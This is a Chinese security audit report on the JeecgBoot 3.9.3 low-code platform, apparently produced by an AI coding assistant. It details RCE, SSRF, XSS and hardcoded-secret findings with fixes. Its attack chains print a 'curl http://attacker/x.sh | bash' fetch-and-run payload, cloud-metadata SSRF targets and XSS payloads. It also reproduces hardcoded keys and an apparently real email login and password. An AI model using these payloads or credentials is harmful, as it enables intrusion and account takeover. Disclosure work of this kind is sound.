JeecgBoot 安全审计报告

78次阅读
没有评论

JeecgBoot 安全审计报告

1. 审计概览

项 内容
审计对象 JeecgBoot 3.9.3(AI 低代码平台,前后端分离)
后端 jeecg-boot/(Spring Boot 4.1.0 / Java 17 / Shiro 3.0.0 / fastjson 2.0.58 / Druid 1.2.28 / JimuReport 2.5.0)
前端 jeecgboot-vue3/(Vue3 + Ant Design + Vite)
审计范围 当前 checkout(base-core / system / airag / demo / server-cloud 配置);不含 jeecg-boot-platform(online 在线表单 / JimuReport 报表 / 流程引擎 / 大屏)核心库源码,该部分以依赖 jar 集成
审计方法 静态代码审计 + 危险模式搜索 + 数据流追踪,按漏洞类型分 6 路并行
结论 高危 21 项 / 中危 25 项 / 低危 14 项(详见下)

重点风险面:AI 模块(MCP stdio RCE、聊天接口未授权 SSRF、SVG 存储型 XSS)、开放平台(OpenAPI SSRF、签名密钥硬编码)、监控端点(Actuator 泄露 Token、Druid 弱口令)、以及一套贯穿前后端「同一把钥匙」的硬编码密钥体系。


2. 漏洞统计总表

严重度 数量 类别分布
🔴 高危 21 RCE×1、SSRF×3、存储型XSS×5、未授权/越权×7、硬编码凭据×6
🟠 中危 25 未授权×6、越权×3、SSRF/文件×4、XSS×6、硬编码×6、SQL注入×2
🟡 低危 14 信息泄露×4、XSS/重定向×4、默认凭据×6

3. 🔴 高危漏洞

3.1 RCE — MCP stdio 端点命令注入(保存即执行)

  • 位置:jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/llm/service/impl/AiragMcpServiceImpl.java:156-187
  • 代码:
    } else if ("stdio".equalsIgnoreCase(type)) {
        String openSafe = aiRagConfigBean.getAllowSensitiveNodes();
        if(oConvertUtils.isNotEmpty(openSafe) && openSafe.toLowerCase().contains("stdio")) {
            ...
            cmdParts.add("sh"); cmdParts.add("-c"); cmdParts.add(endpoint.trim());
            StdioMcpTransport.Builder builder = new StdioMcpTransport.Builder()
                    .command(cmdParts).environment(headers);
    

    endpoint 来自 AiragMcp 实体,保存接口 /airag/airagMcp/save、/saveAndSync 仅做非空校验,无任何命令注入过滤。

  • 攻击链:拥有 airag:mcp:save 权限的账号 POST /airag/airagMcp/saveAndSync,{"type":"stdio","endpoint":"curl http://attacker/x.sh | bash"} → 触发 sh -c "curl ... | bash",获取服务器 shell。
  • 前提:jeecg.airag.allow-sensitive-nodes 含 stdio(默认空,需人工开启)。
  • 修复建议:对 endpoint 做白名单校验(仅允许可执行文件路径,禁止管道/重定向/;);移除 sh -c 拼接,改用参数数组;allow-sensitive-nodes 默认保持关闭并限制仅超级管理员可配。

3.2 SSRF — AI 聊天接口未认证任意 URL 请求

  • 位置:AiragChatController.java:55-59(@IgnoreAuth)+ AIChatHandler.java:605-606
  • 代码:
    // AiragChatController — 未认证
    @IgnoreAuth
    @PostMapping(value = "/send")
    public SseEmitter send(@RequestBody ChatSendParams chatSendParams) {...}
    
    // AIChatHandler — 零校验
    java.net.URL url = new java.net.URL(imageUrl);
    java.net.URLConnection conn = url.openConnection();   // 无任何 SSRF 校验
    
  • 攻击链:未登录 POST /airag/chat/send,body 中 images 传 http://127.0.0.1:6379/、http://169.254.169.254/latest/meta-data/ 等 → 服务端发起连接,响应内容 Base64 回传,可读云元数据 / 探测内网端口。
  • 修复建议:对 images 中 URL 统一过 SsrfFileTypeFilter.checkSsrfHttpUrl 并封禁回环/内网;/airag/chat/send 至少要求登录。

3.3 SSRF — OpenAPI X-Gateway-Base-Path 请求头拼接绕过(免登录)

  • 位置:OpenApiController.java:195,226 + CommonUtils.java:369-373
  • 代码:
    // CommonUtils.getBaseUrl —— 请求头原样返回
    String xGatewayBasePath = request.getHeader(ServiceNameConstants.X_GATEWAY_BASE_PATH);
    if(oConvertUtils.isNotEmpty(xGatewayBasePath)){ return xGatewayBasePath; }
    // OpenApiController.call —— 免登录(Shiro anon)
    if (!lowerUrl.startsWith("http://") && !lowerUrl.startsWith("https://")) {
        url = CommonUtils.getBaseUrl(request) + url;
    }
    restTemplate.exchange(targetUrl.toString(), ..., httpEntity, Result.class, ...);
    
  • 攻击链:持有有效 appkey,调用 /openapi/call/{path}(anon),配置的 originUrl 为相对路径时注入请求头 X-Gateway-Base-Path: http://169.254.169.254/ → 拼接出 http://169.254.169.254//house/list 绕过校验 → 服务端请求云元数据/内网资产。
  • 修复建议:对 getBaseUrl 拼接出的完整 URL 统一过 SSRF 校验;限制 X-Gateway-Base-Path 仅信任内部网关来源。

3.4 存储型 XSS — 未认证上传 SVG + 内联静态服务执行

  • 位置:SsrfFileTypeFilter.java:40 + WebMvcConfiguration.java:72-82 + ShiroConfig.java:120 + AiragChatController.java:245
  • 代码:
    FILE_TYPE_WHITE_LIST.add("svg");                      // 上传白名单含 svg
    registry.addResourceHandler("/**").addResourceLocations("file:" + upload + "//");  // 上传目录内联映射
    filterChainDefinitionMap.put("/**/*.svg", "anon");    // svg 免登录
    
  • 攻击链:未认证 POST /airag/chat/upload 上传含 <script>/onload 的 .svg(魔数检测只针对 jsp/php/class/sql 头,<svg 不命中)→ 免登录访问 /{bizPath}/xxx.svg 内联渲染 → 诱导管理员访问即执行 → 窃取 Token。
  • 修复建议:上传白名单移除 svg;静态资源处理器对非白名单类型强制 Content-Disposition: attachment;或对 /** 映射加鉴权。

3.5 未授权/越权 — Actuator 追踪端点泄露全量用户 Token

  • 位置:CustomHttpTraceEndpoint.java:20-33 + application-*.yml(management.endpoints.web.exposure.include: metrics,httpexchanges,jeecghttptrace)
  • 代码:
    @Component @Endpoint(id = "jeecghttptrace")
    public class CustomHttpTraceEndpoint {
        @ReadOperation
        public HttpTraceDescriptor traces(@Selector(match = ALL_REMAINING) String query) {
            return new HttpTraceDescriptor(this.repository.findAll(query));
        }
    }
    

    内存保存最近约 100 条请求的完整 HttpExchange(含请求头),Shiro 未放行 /actuator/**,故任意已登录用户(无需任何角色)可访问。

  • 攻击链:普通低权用户 GET /actuator/jeecghttptrace(或 /httpexchanges)→ 响应含其他用户请求头 X-Access-Token 明文 → 盗取任意在线用户(含 admin)JWT → 完全接管。
  • 修复建议:移除 httpexchanges/jeecghttptrace 端点暴露或限制仅 admin 角色;对 actuator 加 @RequiresRoles("admin")。

3.6 未授权 — /airag/chat/send 无认证 + 资源滥用

  • 位置:AiragChatController.java:55-59,注释自认:「/airag/chat/send 端点为 @IgnoreAuth 无认证,AI 聊天解析附件存在 SSRF 风险」。
  • 影响:未登录即可消耗大模型 API 配额、触发附件下载 SSRF、遍历对话。
  • 修复建议:移除 @IgnoreAuth,要求登录;对附件解析增加 SSRF 校验。

3.7 未授权 — Druid 监控台 anon + 默认口令

  • 位置:ShiroConfig.java:133 + application-prod.yml:105-109(dev/docker/dm8/kingbase8/oracle 全相同)
  • 配置:filterChainDefinitionMap.put("/druid/**", "anon");loginUsername: admin / loginPassword: 123456,allow 为空(不限 IP)。
  • 攻击链:未登录访问 /jeecg-boot/druid/ → admin/123456 登录 → 查看全部数据源连接、SQL 监控(含业务参数)、Session 监控。Druid 1.2.x 历史存在监控台信息泄露辅助 RCE 的 CVE。
  • 修复建议:/druid/** 移出 anon;改强口令;生产环境关闭 stat-view-servlet。

3.8 未授权面 — /jmreport/** 全量放行(需复核依赖库)

  • 位置:ShiroConfig.java:142
  • 说明:/jmreport/** 整段 anon,鉴权依赖 JimuReport 库内部 JimuReportTokenService.verifyToken(JimuReportTokenService.java:64)。JimuReport 历史 CVE 频发(CVE-2023-24770/24771 等 SQL 注入/RCE)。本 checkout 不含报表模块源码,需人工确认 2.5.0 集成鉴权与漏洞修复状态。
  • 建议:路由级白名单校验 + 确认依赖版本安全;禁止生产暴露 bigscreen 类无鉴权路由。

3.9 SQL 注入/越权 — 表字典接口任意表数据读取

  • 位置:SystemApiController.java:746-748 + SysDictServiceImpl.java:270-292 + DictTableWhiteListHandlerImpl.java:157-166 + application-dev.yml:265
  • 代码:
    // SysDictMapper.xml —— ${} 拼接
    select ${text} as "text", ${code} as "value" from ${table} where ${filterSql}
    // SysDictServiceImpl —— 白名单正则 + dev 模式自动放行
    table = SqlInjectionUtil.getSqlInjectTableName(table);
    ...
    return sysDictMapper.queryTableDictWithFilter(table,text,code,filterSql);
    // DictTableWhiteListHandlerImpl —— dev 模式未登记表自动写入白名单并放行
    
  • 攻击链:任意登录用户(低权)携带 JWT + 硬编码密钥伪造 X-Sign → GET /sys/api/queryFilterTableDictInfo?table=sys_user&text=username&code=realname&filterSql=1=1 → 批量导出 sys_user 全部用户名/手机号/邮箱/工号;dev 模式下任意表同样成立(sys_user.password/salt 被单独拉黑,其余不保护)。
  • 修复建议:生产环境禁止 lowCodeMode: dev;白名单不自动放行,未登记表拒绝;该接口限制管理员权限;立即轮换签名密钥。

3.10 硬编码 — 登录密码 AES 密钥/IV

  • 位置:EncryptedString.java:16,21 + jeecgboot-vue3/src/utils/cipher.ts:64-65
  • 内容:key = "1234567890adbcde"、iv = "1234567890hjlkew"(前后端同值)。
  • 影响:登录密码 AES/CBC 加密密钥完全公开,抓包(无 HTTPS 或 MITM)即可解密所有登录密码明文。
  • 修复建议:改用 RSA 非对称或服务端下发临时密钥;前端不再内置对称密钥。

3.11 硬编码 — MD5 请求签名密钥(全环境同一把钥匙)

  • 位置:jeecgboot-vue3/src/utils/encryption/signMd5Utils.js:3 + application-prod.yml:262 + application-dev.yml:269 + application-docker.yml:258 + Nacos jeecg-dev.yaml:71、jeecg-dev-satoken.yaml:96
  • 内容:signatureSecret = 'dd05f1c54d63749eda95f9fa6d49v442a'。
  • 影响:全站请求签名(SignUtil)密钥公开,任何人可伪造签名、重放/篡改加签接口(短信、开放 API、表字典接口等)。放大 3.9 等签名保护接口的攻击面。
  • 修复建议:密钥移入环境变量/密钥管理,各环境独立;部署后立即轮换。

3.12 硬编码 — Sa-Token JWT 签名密钥(与签名密钥同值)

  • 位置:jeecg-server-cloud/jeecg-cloud-nacos/docs/DEFAULT_GROUP/jeecg-dev-satoken.yaml:24
  • 内容:jwt-secret-key: "dd05f1c54d63749eda95f9fa6d49v442a"(与 MD5 签名密钥完全相同)。
  • 影响:JWT 密钥公开 → 直接伪造任意用户 Token 越权登录,微服务全站鉴权失效。
  • 修复建议:更换独立强随机密钥并纳入密钥管理。

3.13 硬编码 — Nacos 认证关闭 + 固定密钥

  • 位置:jeecg-cloud-nacos/src/main/resources/application.properties:41-45
  • 内容:nacos.core.auth.enabled=false;identity.key=value=nacos;token.secret.key=VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=(base64 = ThisIsMyCustomSecretKey012345678)。
  • 影响:Nacos 控制台未授权可访问,篡改所有微服务配置 → 配置注入/RCE/数据窃取。
  • 修复建议:开启认证,更换强密钥,限制管理端口暴露。

3.14 硬编码 — 生产数据库 root 明文口令

  • 位置:application-prod.yml:145
  • 内容:MySQL password: root(生产 profile)。
  • 影响:配置泄露即数据库沦陷,可拖全库、写库。
  • 修复建议:改用外部密钥注入(K8s Secret / Vault),立即轮换。

3.15 硬编码 — 真实企业邮箱账号口令

  • 位置:jeecg-cloud-xxljob/src/main/resources/application.properties:50-52
  • 内容:spring.mail.username=zhuwei@aboatedu.com / spring.mail.password=zwass1314。
  • 影响:真实邮箱账号密码泄露,可被用于盗号、钓鱼、外发垃圾邮件。
  • 修复建议:轮换口令,移入密钥管理;该配置不应出现在公共仓库。

3.16-3.21 存储型 XSS(高危 6 处)

# 位置 漏洞点 攻击链
3.16 views/system/message/components/SysMessageList.vue:28 v-html="getHtml(item.msgContent)",getHtml 仅 emoji 替换无过滤 任意用户在 Online/表单设计器数据上发评论 @target <img src=x onerror=...> → SysCommentServiceImpl.saveOne 原样入消息库 → 被@用户在消息列表 v-html 执行(存储型,持久化)
3.17 SysMessageList.vue:42 bpm 催办/抄送/任务消息 v-html="item.msgContent" 流程消息含用户表单字段值 → 渲染即执行
3.18 OnlineAutoList.vue:137 及 8 个 cgform 列表(OnlineAutoTreeList.vue:125 / OnlCgformTabList.vue:122 / OnlCgformInnerTableList.vue:138 / OnlCgformInnerSubTable.vue:37 / OnlCgformErpList.vue:124 / OnlCgformErpSubTable.vue:114 / OnlinePopListModal.vue:37 / LinkTableListModal.vue:36) htmlSlot 富文本列 v-html="text" 任意登录用户在低代码表单提交 onerror payload → 列表页渲染执行
3.19 DetailForm.vue:11,12 v-html 渲染 isHtml 及 textarea 字段,textareaLineBreak 不转义 HTML textarea 是最常见字段,提交 <svg/onload> 详情页执行
3.20 chatText.vue:4,84-95 / ThinkText.vue:4,29-30 / AiWriter.vue:64,115 markdown-it {html:true} + v-html 知识库文档(用户可传)或 prompt 注入使模型输出含 HTML → 登录用户会话上下文被窃取
3.21 AiAppSendModal.vue:132 + jeecg-tags/index.ts:53 box.innerHTML = content 同 chatText 源,<jeecg> 标签分支执行

4. 🟠 中危漏洞

4.1 命令执行(已缓解但机制仍在)

  • RCE 面:CommandExecUtil.java:80-132 + EmbeddingHandler.java:880-940 — 知识库文档解析调用 conda run -n ... magic-pdf。已加黑名单 [&|;<>$!"'\r\n] + 路径校验缓解(issue 9424/9425),但 execCommand(String command, String[] args) 重载 command.split(" ") 后不校验 command 数组元素,未来用户输入进入 command 即注入。建议:白名单化 + 消除 split(" ") 重载。

4.2 SSTI 面(FreeMarker)

  • SysBaseApiImpl.java:1720 / PushMsgUtil.java:58 / FreemarkerParseFactory.java:125-148 — 消息模板/SQL 模板 DB 内容 FreeMarker 渲染。已配 TemplateClassResolver.SAFER_RESOLVER 缓解,但 PushMsgUtil 用 Spring 默认 freemarkerConfig 未确认。建议:确认所有渲染点统一 SAFER_RESOLVER;模板管理接口限管理员。

4.3 反序列化面(Shiro + Redis)

  • ShiroConfig.java:305-314 — 使用 org.crazycake.shiro RedisCacheManager,默认 JDK 序列化。若 Redis 未授权/可写(见 4.19 弱口令),可在 shiro:cache:* 植入反序列化 gadget。建议:Redis 强口令 + 网络隔离 + 换 JSON 序列化器。

4.4 SQL 注入 — QueryGenerator.installAuthJdbc 数据规则拼接未过滤

  • 位置:QueryGenerator.java:951 — sb.append(sqlAnd + getSqlRuleValue(...))。同类 installAuthMplus/installMplus 已加 filterContent(#9434 修复),唯独 installAuthJdbc 遗漏。
  • 攻击链:JeecgDemoController:289 /sqlList → 数据规则类型为「自定义 SQL」时规则值原样拼接(SqlConcatUtil.getFieldConditionValue 对字符串只包单引号不转义)。需能控制数据规则配置。
  • 建议:补齐 filterContent 过滤,统一三处实现。

4.5 SQL 注入面 — filterSql 仅黑名单过滤

  • 位置:SysDictServiceImpl.java:276 → SysDictMapper.xml:187/208 — where ${filterSql},filterSql 前端直传仅过 specialDictSqlXssStr 黑名单。黑名单不覆盖 or/sleep(/1=1 等,isExistSqlInjectKeyword 存在 keyword( 形式与空白字符替换的绕过。当前被 select/;/--/extractvalue 拦截限制在 WHERE 内,属弱防护。
  • 建议:改为参数化/白名单解析器,禁止透传原始 SQL 片段。

4.6 未授权 — AI 会话/应用元数据枚举

  • AiragChatController.java:88-118:/airag/chat/init、/conversations、/getConversationsByType 全 @IgnoreAuth,可枚举对话标题/应用元数据(模型供应商、流程输入参数)。

4.7 未授权 — /airag/app/queryById

  • AiragAppController.java:169-171:@IgnoreAuth GET /airag/app/queryById?id=任意 → 返回 AI 应用完整配置(system prompt、知识库 ID、插件、模型配置),可用于 prompt 注入/知识库越权利用。

4.8 未授权文件读取 — /sys/common/static/**

  • CommonController.java:188-232:/sys/common/static/** anon,imgPath = imgPath.replace("..","")(弱过滤,....///编码变体可绕)+ 扩展名白名单 → 可越权读取服务器上任意白名单扩展名(txt/doc/pdf/csv/zip/xls/xlsx/jpg/png/md/sql)文件,包括其他用户上传的私密资料。

4.9 信息泄露 — Swagger/Knife4j 全放行

  • ShiroConfig.java:116,134-137:/doc.html、/swagger-ui.html、/swagger**/**、/v3/** 全 anon。prod 有 basic 认证 jeecg/jeecg1314(弱口令),dev 完全开放 → 全量接口清单/字段泄露。

4.10 越权 — SysUser 系列接口枚举全平台用户 PII

  • SysUserController.java:queryByIds:626、queryByNames:643、queryByOrgCode:939、queryByOrgCodeForAddressList:954、queryDepartPostByOrgCode:999、getUserDetailByUserId:1030、getMultiUser:1771、getUserInformation:1790、selectUserList:1814 等,均无 @RequiresPermissions,任意有效 JWT 可遍历 userId/orgCode/username 枚举全平台用户手机号、邮箱、姓名、组织架构 → 钓鱼/社工/撞库。

4.11 越权 — /openapi/call/** 明文 appkey 代答身份

  • OpenApiController.java:157-226:/openapi/call/** anon,appkey 明文 header(无签名校验),以 API 创建者身份自动签发 60s JWT 并代理请求任意已配置 originUrl → appkey 泄露/爆破即冒用他人身份调用业务接口。

4.12 未授权 — 匿名注册/改密

  • ShiroConfig.java:98,100 + SysUserController.java:1171,1339:/sys/user/register(无次数限制验证码 → 短信轰炸 + 用户名/手机号/邮箱用户枚举)、/sys/user/passwordChange(GET 参数改密,验证码强度决定安全性)。

4.13 SSRF — 内网段放行 + DNS rebinding

  • SsrfFileTypeFilter.java:322-353:checkSsrfHttpUrl 明确放行 RFC1918(10.x/172.16-31.x/192.168.x)「兼容企业内网 MinIO/OSS」→ 所有经该校验的下载/抓取汇聚点仍可打内网;校验与连接二次解析 IP 存在 DNS rebinding TOCTOU,可绕过回环拦截。

4.14 文件上传 — 无类型过滤(MinIO/OSS)

  • MinioUtil.java:208-224、OssFileServiceImpl.java:24-36:/sys/oss/file/upload 无类型白名单/魔数校验,可上传 .html/.jsp/.svg 任意类型到对象存储,桶公开读时构成存储型攻击面。

4.15-4.20 XSS(中危 6 处)

# 位置 漏洞点 说明
4.15 hooks/web/useMessage.ts:57 h('div', {'innerHTML': content}) 所有字符串型 createMessage/modal 按 HTML 渲染,后端 res.message 反射用户输入即执行(放大面广)
4.16 components/Markdown/src/MarkdownViewer.vue:4,22 showdown 默认允许原始 HTML AI 知识库 chunk / markdown 字段渲染(未实测默认行为,建议显式过滤)
4.17 CommentList.vue:45 + MyComment.vue:4 v-html="getHtml(lineFeed(commentContent))" 评论内容未过滤即渲染(与 3.16 同源)
4.18 AiModelModal.vue:80,516-521 v-html="getTitle(descr)",换行替换不转义 模型描述 descr 可编辑则存储型 XSS
4.19 NoticeForm.vue:8 + 后端 XssUtils.java:40-69 v-html 富文本预览;XssUtils 正则可绕过 XssUtils 白名单 \s+on\w+ 要求 on 前有空白符,<svg/onload> 不匹配;仅通知公告保存路径启用,cgform/comment/消息均无服务端过滤
4.20 JeecgController.java:52-190(exportXls) AutoPoi 导出未做公式中和 用户提交 `=cmd

4.21-4.25 硬编码凭据(中危 5 处)

# 位置 内容 影响
4.21 PasswordUtil.java:26,32 PBEWithMD5AndDES + 固定盐 63293188 数据库泄露后离线低成本爆破全部用户密码哈希;同盐同密码同密文
4.22 jeecgboot-vue3/src/settings/encryptionSetting.ts:8-9 缓存 AES key:_11111000001111@ / iv:@11111000001111_ localStorage 加密形同虚设(默认关闭但开启即失效)
4.23 各 yml Knife4j jeecg/jeecg1314(含生产);Druid admin/123456(含生产);Spring Boot Admin admin/admin;Sentinel sentinel/sentinel 各管理控制台弱口令
4.24 application.yml:63(airag)、EmbedStoreConfigBean.java:40 Redis res983;向量库默认口令 postgres;多处 DB root/123456/postgres(dev/docker/nacos/sharding) 组件弱口令,扩大攻击面
4.25 jeecg-cloud-xxljob/application.properties:78 xxl-sso.token.key=xxl_job_login_token 调度中心会话 token 密钥固定,可伪造

5. 🟡 低危漏洞

# 位置 说明
5.1 VideoGenerationServiceImpl.java:479-487 downloadFile(url) 无 SSRF 校验,URL 来自 AI 厂商返回(间接风险)
5.2 SysCommentServiceImpl.java:212,224 savePath 参数无校验直接入库 sys_files.url(存储参数污染)
5.3 SysDictController.java:814-823 SQL 异常处理器仅屏蔽 extractvalue/updatexml,其余原始 SQL 错误回显(错误型注入放大器)
5.4 QueryGenerator.java:275,304 字典排序 lastIndexOf 用请求参数 column 而非处理后的 columnName,稳定触发 500(逻辑 bug)
5.5 LoginController.java:919-923 loginGetUserDeparts @IgnoreAuth,可校验用户名+密码有效性 → 用户枚举/登录辅助面
5.6 McpDemoController.java:81,123 /demo/mcp/sse @IgnoreAuth 未授权 SSE 长连接(资源占用/DoS 面)
5.7 SysDictController.java:377,562 queryTableData(Deprecated)/refleshCache 无权限注解,任意登录用户可动态表查询/清字典缓存(小 DoS)
5.8 JPrompt.vue:6 / workbench/DynamicInfo.vue:14 v-html 目前仅静态内容(低风险面)
5.9 monitor/mynews/DetailModal.vue:36,104 消息详情有 xss() 白名单缓解,但白名单含 img src/style,需确认无 javascript: 注入
5.10 store/modules/user.ts:202-208 登录后 redirect query 拼进 window.open(Open Redirect,受 base 前缀约束)
5.11 db/jeecgboot-mysql-5.7.sql:10401 初始管理员 admin/123456(PBE 存储);LoginForm.vue:123-124 登录页预填 admin/123456;PasswordConstant.java:14 DEFAULT_PASSWORD=123456;ImportOldUserUtil/ThirdAppWechatEnterprise/SysThirdAccount 多处 setPassword("123456");tables_xxl_job.sql:207 xxl-job 管理员 SHA256(123456)

6. 依赖 / 组件审计

组件 版本 结论
Spring Boot 4.1.0 ✅ 较新,无已知高危 CVE(当前)
Apache Shiro 3.0.0 ✅ 新版,规避 1.x 认证绕过系列 CVE
fastjson2 2.0.58 ✅ 审计确认全库安全用法(无 autoType/用户可控 Class)
Druid 1.2.28 ⚠️ 版本较新,但监控台弱口令 + anon 放大信息泄露(见 3.7)
JimuReport 2.5.0 ⚠️ 历史高危 CVE 大户(SQL 注入/RCE/任意文件读取/未授权),/jmreport/** 全 anon,集成源码不在本 checkout,必须人工复核
JimuBI 2.5.0 ⚠️ 大屏设计工具,/bigscreen/** 等路径被放行,需复核鉴权
Spring Cloud Alibaba / Nacos 2025.1.0.0 ⚠️ Nacos 认证默认关闭 + 固定密钥(见 3.13)
mysql-connector-java 8.0.27 ⚠️ 版本偏老,建议升级 8.0.33+(历史存在部分安全问题)

7. 关键结论与修复优先级

7.1 平台级核心问题:「同一把钥匙」硬编码体系

AES 密钥(1234567890adbcde)、MD5 请求签名密钥(dd05f1c54d63749eda95f9fa6d49v442a)、Sa-Token JWT 密钥(与签名密钥同值)全部硬编码于源码 + 前后端配置。密钥一旦公开:登录密码可解密、接口签名可伪造、Token 可仿冒,信任链整体失效。Nacos 认证关闭进一步放大微服务配置篡改风险。

处理:所有密钥移入环境变量/密钥管理服务,各环境独立随机生成,部署后立即全量轮换。

7.2 优先修复清单(按 ROI 排序)

  1. 轮换/外置全部硬编码密钥(3.10-3.15)——成本低收益最高,一次性解决越权访问放大器
  2. Actuator 追踪端点收敛(3.5)——去掉 httpexchanges/jeecghttptrace 暴露或限 admin
  3. AI 模块收敛 @IgnoreAuth(3.2/3.6/4.6/4.7)——chat/send、init、conversations、queryById 至少要求登录
  4. MCP stdio endpoint 白名单校验(3.1)
  5. SVG 移出上传白名单 + 静态资源内联限制(3.4)
  6. /druid/**、/jmreport/** 路由级鉴权 + 强口令(3.7/3.8)
  7. 表字典接口去 dev 自动放行 + 权限收紧(3.9)
  8. OpenAPI 拼接 URL 过 SSRF 校验(3.3)
  9. 前端 v-html 全量走 DOMPurify;textarea 先 escape 再渲染;markdown-it 关 html 或过滤(3.16-3.21/4.15-4.19)
  10. 补齐 installAuthJdbc 注入过滤(4.4)

7.3 补充建议

  • 生产环境显式 lowCodeMode: prod,禁用 Druid/Knife4j 弱口令默认值。
  • 全局默认密码策略强制首次改密,移除登录页预填 admin/123456。
  • 静态资源服务启用 Content-Disposition: attachment 白名单。
  • sys_user 及业务敏感表在字典白名单外额外加列级黑名单。
  • 启用 Nacos 认证、Redis 强口令、内网服务最小暴露。

8. 已核查为安全的项(排除清单)

  • SysDictMapper.xml 全部 ${} 表字典方法:均有 getSqlInjectTableName/getSqlInjectField 正则白名单 + specialFilterContentForDictSql 黑名单 + 表/列黑白名单双重保险。
  • QueryGenerator 排序字段:sortInfoString/defSortString/单字段排序均经 getSqlInjectSortField/allColumnExist 白名单。
  • LoginController:全部 LambdaQueryWrapper.eq(...) 参数化绑定。
  • 全库无 @Select/@Update/@Delete/@Insert 注解式 ${};无 Statement.createStatement 手工拼接;JdbcTemplate/DynamicDBUtil 无外部调用方(在线报表模块不在本检出)。
  • fastjson:全库安全用法,无 autoType,无用户可控 Class 反序列化。
  • 无 ObjectInputStream.readObject/Hessian/SnakeYAML/XMLDecoder/GroovyShell/ScriptEngine/SpEL/OGNL 反序列化或表达式执行 sink。

9. 审计限制说明

  • 本审计为静态代码审计,未做动态验证;「高危」指数据流可控且 sink 存在,实际可利用性取决于部署配置与权限分配。
  • 未覆盖 jeecg-boot-platform(在线表单 / JimuReport 报表 / 流程引擎 / 大屏 / 移动端)源码——该部分以依赖 jar 集成,历史上存在大量公开漏洞,强烈建议对集成方式与版本单独审计。
  • jeecg-server-cloud 微服务模块部分仅审计了配置(Nacos/Sentinel/Monitor/xxljob),业务代码以 starter 依赖集成,未逐一审。

报告由 Claude Code 审计助手生成,基于 JeecgBoot 3.9.3 本地 checkout,2026-08-15。

正文完
 0